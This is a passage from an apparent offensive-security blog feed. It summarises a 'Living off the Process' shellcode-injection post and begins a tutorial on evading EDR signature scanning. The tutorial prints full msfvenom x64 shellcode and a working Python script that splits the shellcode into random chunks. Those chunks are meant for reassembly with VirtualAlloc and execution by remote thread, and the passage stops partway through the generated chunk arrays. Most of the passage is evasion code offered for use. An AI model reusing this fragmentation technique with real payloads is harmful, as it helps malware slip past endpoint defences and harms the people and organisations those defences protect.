</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="LOTP" /><category term="x64 assembly" /><category term="Rop Gadgets" /><category term="2026" /><category term="LOTP" /><category term="Living off the Process" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="shellcode" /><summary type="html"><![CDATA[Hello again everyone! Hope the start to the new year is treating you well. I am excited to share a new blog post with you! Furthermore, I’d consider the content shared in today’s post to be the most time I’ve spent in researching a particular offensive security topic/technique 😹 I’d say I spent well over a month looking into this exciting topic and I wanted to make sure I had all my research completed before I jumped in to making a post. Without further ado, I give you my take on what I’d like to call: Living off the Process! This is a technique that does as the name implies: We use what is already available to us in the remote process of our choosing to accomplish a given goal. In this case, the goal will be to write shellcode indirectly into the remote process with as low of a footprint as possible. When I say indirectly, I mean we won’t be using WriteProcessMemory to write the shellcode. That API does play a small role, but ultimately we will be indirectly writing our shellcode in 8 byte chunks using ROP gadgets and assembly stubs all made available in the remote process. We will also avoid the creation of RWX regions of memory. Here’s a quick overview on how it all works. We will be looking for:]]></summary></entry><entry><title type="html">Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly</title><link href="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/" rel="alternate" type="text/html" title="Evading Signature Based Memory Detection - Shellcode Fragmentation and Staged Reassembly" /><published>2025-12-23T00:00:00+00:00</published><updated>2025-12-23T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading%20Signature%20Based%20Memory%20Detection%20-%20Shellcode%20Fragmentation%20and%20Staged%20Reassembly</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode%20fragmentation/in-memory%20evasion/Evading-Signature-Based-Memory-Detection-Shellcode-Fragmentation-and-Staged-Reassembly/"><![CDATA[<p>Hey everyone, and hope the holiday season is treating you well!  🎅🎄🎁  I’ve been sitting on this blog post for quite some time now and it’s high time I went ahead and make it public.  This technique has been around for quite some time, but I feel it gets easily tossed into the attic, along with so many other techniques still viable in 2025 and beyond.  Why?  Because we all love novelty for one thing, and the latest and greatest offsec technique is always going to pique our interest.  I get it, trust me.  I love learning new things, I thrive on it.  But I also like taking something old and re-inventing it so to speak.  I got my start reinventing older code and techniques with UAC bypasses.  There are so many that still work and remain undetected if you know how to tweak the code.  In other words, why reinvent the wheel entirely when you can just reinvent some aspects to repurpose something that already works?  EDR expects the novel techniques, but sometimes the tried and true techniques can be just as effective and quite unassuming, if you can adjust the heavily signatured nature of a given technique/payload artifact.</p>

<p>So, with that little prelude out of the way, here’s what we’re tackling today.  In today’s post, we will take shellcode generated by msfvenom, which as we all know is a highly signatured and well known payload artifact, and repurpose it in our code to evade in-memory and static scanning.  It’s incredibly handy to just generate shellcode using msfvenom and not have to craft it by hand.  Don’t get me wrong, I’m masochistic enough to appreciate a good handcrafted assembly -&gt; shellcode payload, but sometimes I just prefer to be lazy and let msfvenom do all the work. 😸</p>

<blockquote>
  <p><strong>In short</strong>: We’ll be breaking up our shellcode into randomized chunks, then reassembling it into a unique memory location using VirtualAlloc.  Finally, we’ll execute it via a tried and true remote thread.  Simple enough, right?  Let’s dive in! 😺</p>
</blockquote>

<h2 id="msfvenom--a-python-helper-script--fragmenting-our-shellcode">Msfvenom | A Python Helper Script | Fragmenting our Shellcode</h2>

<p>Let’s start out with a python helper script that will generate the necessary first portion of our code for us.  But first, go ahead and generate your msfvenom payload you wish to use in today’s code!  Here’s the command I used below to generate a messagebox shellcode payload:</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">g3tsyst3m</span><span class="err">@</span><span class="n">debian</span><span class="o">:~</span><span class="err">$</span> <span class="n">msfvenom</span> <span class="o">-</span><span class="n">p</span> <span class="n">windows</span><span class="o">/</span><span class="n">x64</span><span class="o">/</span><span class="n">messagebox</span> <span class="n">TEXT</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">TITLE</span><span class="o">=</span><span class="s">"g3tsyst3m"</span> <span class="n">ICON</span><span class="o">=</span><span class="n">INFORMATION</span> <span class="o">-</span><span class="n">f</span> <span class="n">python</span>

<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">platform</span> <span class="n">was</span> <span class="n">selected</span><span class="p">,</span> <span class="n">choosing</span> <span class="n">Msf</span><span class="o">::</span><span class="n">Module</span><span class="o">::</span><span class="n">Platform</span><span class="o">::</span><span class="n">Windows</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="p">[</span><span class="o">-</span><span class="p">]</span> <span class="n">No</span> <span class="n">arch</span> <span class="n">selected</span><span class="p">,</span> <span class="n">selecting</span> <span class="n">arch</span><span class="o">:</span> <span class="n">x64</span> <span class="n">from</span> <span class="n">the</span> <span class="n">payload</span>
<span class="n">No</span> <span class="n">encoder</span> <span class="n">specified</span><span class="p">,</span> <span class="n">outputting</span> <span class="n">raw</span> <span class="n">payload</span>
<span class="n">Payload</span> <span class="n">size</span><span class="o">:</span> <span class="mi">305</span> <span class="n">bytes</span>
<span class="n">Final</span> <span class="n">size</span> <span class="n">of</span> <span class="n">python</span> <span class="n">file</span><span class="o">:</span> <span class="mi">1517</span> <span class="n">bytes</span>
<span class="n">buf</span> <span class="o">=</span>  <span class="n">b</span><span class="s">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="s">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="n">b</span><span class="s">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="s">"</span>
</code></pre></div></div>

<p>Now, copy the generated shellcode and place it in the script below.  This script will randomize the shellcode into chunks of varying lengths.  Recall that traditional shellcode detection looks for known patterns, typically in single memory regions.  Fragmentation breaks our payload into small, non-suspicious chunks.  Even if the first line has the familiar msfvenom \xfc\x48 and so on, it’s not feasible to trigger on all machine code instructions that include those first two bytes.  What would eventually happen if all EDR vendors decided to trigger on individual machine code, is that you would inevitably run into a terrible time managing false positives.  I take advantage of this 😸</p>

<p>Okay, back to the code.  Go ahead and paste your shellcode that was generated by msfvenom into the python script below and run it:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="n">random</span>

<span class="c1"># Example shellcode (replace with your actual shellcode)
</span><span class="n">buf</span> <span class="o">=</span>  <span class="sa">b</span><span class="sh">""</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xfc\x48\x81\xe4\xf0\xff\xff\xff\xe8\xcc\x00\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x41\x51\x41\x50\x52\x48\x31\xd2\x51\x65\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x8b\x52\x60\x48\x8b\x52\x18\x56\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x0f\xb7\x4a\x4a\x48\x8b\x72\x50\x4d\x31\xc9</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x48\x8b\x52\x20</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x41\x51\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b\x80\x88\x00</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x8b\x48</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x18\x50\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x4d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x31\xc9\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x48\x31\xc0\x41\xc1\xc9\x0d\xac\x41\x01\xc1\x38</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x88\x41\x58\x41\x58\x48\x01\xd0\x5e\x59\x5a\x41</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x4b\xff\xff</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xff\x5d\xe8\x0b\x00\x00\x00\x75\x73\x65\x72\x33</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x32\x2e\x64\x6c\x6c\x00\x59\x41\xba\x4c\x77\x26</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x07\xff\xd5\x49\xc7\xc1\x40\x00\x00\x00\xe8\x0a</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x00\x00\x67\x33\x74\x73\x79\x73\x74\x33\x6d</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x00\x5a\xe8\x0a\x00\x00\x00\x67\x33\x74\x73\x79</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x73\x74\x33\x6d\x00\x41\x58\x48\x31\xc9\x41\xba</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\x45\x83\x56\x07\xff\xd5\x48\x31\xc9\x41\xba\xf0</span><span class="sh">"</span>
<span class="n">buf</span> <span class="o">+=</span> <span class="sa">b</span><span class="sh">"</span><span class="se">\xb5\xa2\x56\xff\xd5</span><span class="sh">"</span>

<span class="k">def</span> <span class="nf">split_shellcode</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
    <span class="n">chunks</span> <span class="o">=</span> <span class="p">[]</span>
    <span class="n">index</span> <span class="o">=</span> <span class="mi">0</span>
    
    <span class="c1"># Continue splitting until we reach the end
</span>    <span class="k">while</span> <span class="n">index</span> <span class="o">&lt;</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">):</span>
        <span class="c1"># If remaining bytes are less than minimum chunk size, take what's left
</span>        <span class="n">remaining_bytes</span> <span class="o">=</span> <span class="nf">len</span><span class="p">(</span><span class="n">shellcode</span><span class="p">)</span> <span class="o">-</span> <span class="n">index</span>
        <span class="k">if</span> <span class="n">remaining_bytes</span> <span class="o">&lt;=</span> <span class="mi">15</span><span class="p">:</span>
            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">remaining_bytes</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="c1"># Random chunk size between 3 and 15 bytes
</span>            <span class="n">chunk_size</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="nf">randint</span><span class="p">(</span><span class="mi">3</span><span class="p">,</span> <span class="mi">15</span><span class="p">)</span>
        
        <span class="c1"># Extract chunk and add to list
</span>        <span class="n">chunks</span><span class="p">.</span><span class="nf">append</span><span class="p">(</span><span class="n">shellcode</span><span class="p">[</span><span class="n">index</span><span class="p">:</span><span class="n">index</span> <span class="o">+</span> <span class="n">chunk_size</span><span class="p">])</span>
        <span class="n">index</span> <span class="o">+=</span> <span class="n">chunk_size</span>
    
    <span class="c1"># Generate shellcode variables
</span>    <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">chunk</span> <span class="ow">in</span> <span class="nf">enumerate</span><span class="p">(</span><span class="n">chunks</span><span class="p">,</span> <span class="mi">1</span><span class="p">):</span>
        <span class="c1"># Convert chunk to hex string representation
</span>        <span class="n">hex_string</span> <span class="o">=</span> <span class="sh">'</span><span class="s">,</span><span class="sh">'</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">'</span><span class="s">0x</span><span class="si">{</span><span class="n">byte</span><span class="si">:</span><span class="mi">02</span><span class="n">x</span><span class="si">}</span><span class="sh">'</span> <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">chunk</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeChunks array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode pointers</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">shellcode_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">unsigned char* shellcodeChunks[] = };</span><span class="sh">"</span><span class="p">)</span>
    
    <span class="c1"># Generate shellcodeSizes array
</span>    <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="s">// Array of shellcode sizes</span><span class="sh">"</span><span class="p">)</span>
    <span class="n">sizes_array</span> <span class="o">=</span> <span class="sh">"</span><span class="s">, </span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">sizeof(shellcode</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">)</span><span class="sh">"</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nf">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="nf">len</span><span class="p">(</span><span class="n">chunks</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span><span class="p">))</span>
    <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">SIZE_T shellcodeSizes[] = };</span><span class="sh">"</span><span class="p">)</span>

<span class="c1"># Split the shellcode and generate variables
</span><span class="nf">split_shellcode</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>
</code></pre></div></div>

<p><strong>I’m randomizing the shellcode chunks between 3 and 15 bytes.  You should get something like this:</strong></p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nl">C:</span><span class="err">\</span><span class="n">Users</span><span class="err">\</span><span class="n">robbi</span><span class="err">\</span><span class="n">shellcode_code</span><span class="o">&gt;</span><span class="n">py</span> <span class="n">sshellcode_splitter</span><span class="p">.</span><span class="n">py</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode1</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xfc</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x81</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode2</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0xe4</span><span class="p">,</span><span class="mh">0xf0</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xe8</span><span class="p">,</span><span class="mh">0xcc</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x41</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode3</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xd2</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x65</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x60</span><span class="p">,</span><span class="mh">0x48</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode4</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x56</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0xb7</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">,</span><span class="mh">0x4a</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode5</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0xac</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode6</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x61</span><span class="p">,</span><span class="mh">0x7c</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode7</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x2c</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x0d</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xc1</span><span class="p">,</span><span class="mh">0xe2</span><span class="p">,</span><span class="mh">0xed</span><span class="p">,</span><span class="mh">0x52</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode8</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x52</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x51</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x42</span><span class="p">,</span><span class="mh">0x3c</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode9</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x66</span><span class="p">,</span><span class="mh">0x81</span><span class="p">,</span><span class="mh">0x78</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode10</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x0b</span><span class="p">,</span><span class="mh">0x02</span><span class="p">,</span><span class="mh">0x0f</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0x72</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x80</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode11</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x88</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x00</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x85</span><span class="p">,</span><span class="mh">0xc0</span><span class="p">,</span><span class="mh">0x74</span><span class="p">,</span><span class="mh">0x67</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode12</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x18</span><span class="p">,</span><span class="mh">0x50</span><span class="p">,</span><span class="mh">0x44</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x40</span><span class="p">,</span><span class="mh">0x20</span><span class="p">,</span><span class="mh">0x49</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd0</span><span class="p">,</span><span class="mh">0xe3</span><span class="p">,</span><span class="mh">0x56</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode13</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x4d</span><span class="p">,</span><span class="mh">0x31</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">,</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0xff</span><span class="p">,</span><span class="mh">0xc9</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode14</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x41</span><span class="p">,</span><span class="mh">0x8b</span><span class="p">,</span><span class="mh">0x34</span><span class="p">,</span><span class="mh">0x88</span><span class="p">};</span>
<span class="kt">unsigned</span> <span class="kt">char</span> <span class="n">shellcode15</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span><span class="mh">0x48</span><span class="p">,</span><span class="mh">0x01</span><span class="p">,</span><span class="mh">0xd6</span><span class="p">};</span>
